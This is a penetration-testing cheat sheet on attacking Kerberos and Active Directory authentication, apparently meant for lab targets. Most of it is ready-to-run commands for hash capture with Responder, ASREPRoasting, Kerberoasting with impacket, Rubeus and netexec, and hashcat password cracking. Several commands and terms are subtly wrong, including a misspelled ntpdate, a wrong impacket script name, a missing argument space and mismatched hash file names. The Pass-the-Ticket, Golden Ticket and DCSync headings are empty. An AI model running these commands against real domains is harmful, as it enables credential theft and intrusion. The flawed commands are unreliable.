# Attacking Authentication

***

### Important Issues

#### KRB\_AP\_ERR\_SKEW (Clock skew too great)&#x20;

Some common issues attacking Kerberos is that the time needs to be the same as on the target. When using an VM the time sync settings is enabled which doesn't allow us to change the time correctly.

```bash
timedatectl set-ntp 0
```

The command above deactivates the time synchronization from the VM with the host.

```bash
sudo nptdate -u 10.10.10.100
```

The command above sets the time to the same as the specified target.

***

## Responder

If we find a form which seems to connect to an server and we can change the server address we might be able to catch some hashes or credentials. For this we will use impacket responder.

```bash
sudo responder -I tun0
```

There are many options we can use with responder. Above is the most basic use.

{% embed url="<https://github.com/camopants/igandx-Responder>" %}

***

## ASREPRoast

For the attack to succeed we need valid usernames to check if they lack the Kerberos per-authentication required attribute.

```bash
impacket-GetNPUsers target.htb/ -usersfile users.txt -output asrep.hash
```

We can also use Rubeus to execute the same attack.

```powershell
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash
```

Once we have retrieved the hash we can crack it using the following command:

```bash
hashcat -m 18200 hash.txt /usr/share/wordlist/rockyou.txt
```

Now we should have the password for the hash.

***

## Kerberoasting

To abuse kerberoasting we need to have an active directory account that has a Service Principal Name ("SPN") set.

A SPN is a unique identifier of a service instance. Kerberos authentication uses SPNs to associate a service instance with a service sign-in account. \
\
Doing so allows a client application to request service authentication for an account even if the client doesn't have the account name.&#x20;

In a kerberoasting attack an authenticated user requests a Kerberos Ticket for an SPN (TGS).\
The retrieved TGS is encrypted with the hash of the service account password.

We have many tools to abuse kerberoasting.&#x20;

#### impacket

```bash
GetUsersSPN.py test.lab/cub3:password -dc-ip 10.10.10.100 -request
```

#### Rubeus

```powershell
Rubeus.exe kerberoast
```

#### netexec

```bash
netexec ldap 10.10.10.100 -u cub3-p password --kerberoasting roast.txt
```

After we retrieved the hash we use hashcat to brute force the password

#### Cracking

```bash
hashcat -m 13100 hash.txt /usr/share/wordlist/rockyou.txt
```

We should now have the password and access to some new information.

***

## Pass-The-Ticket

***

## Silver Ticket

***

## Golden Ticket

***

## DCSync
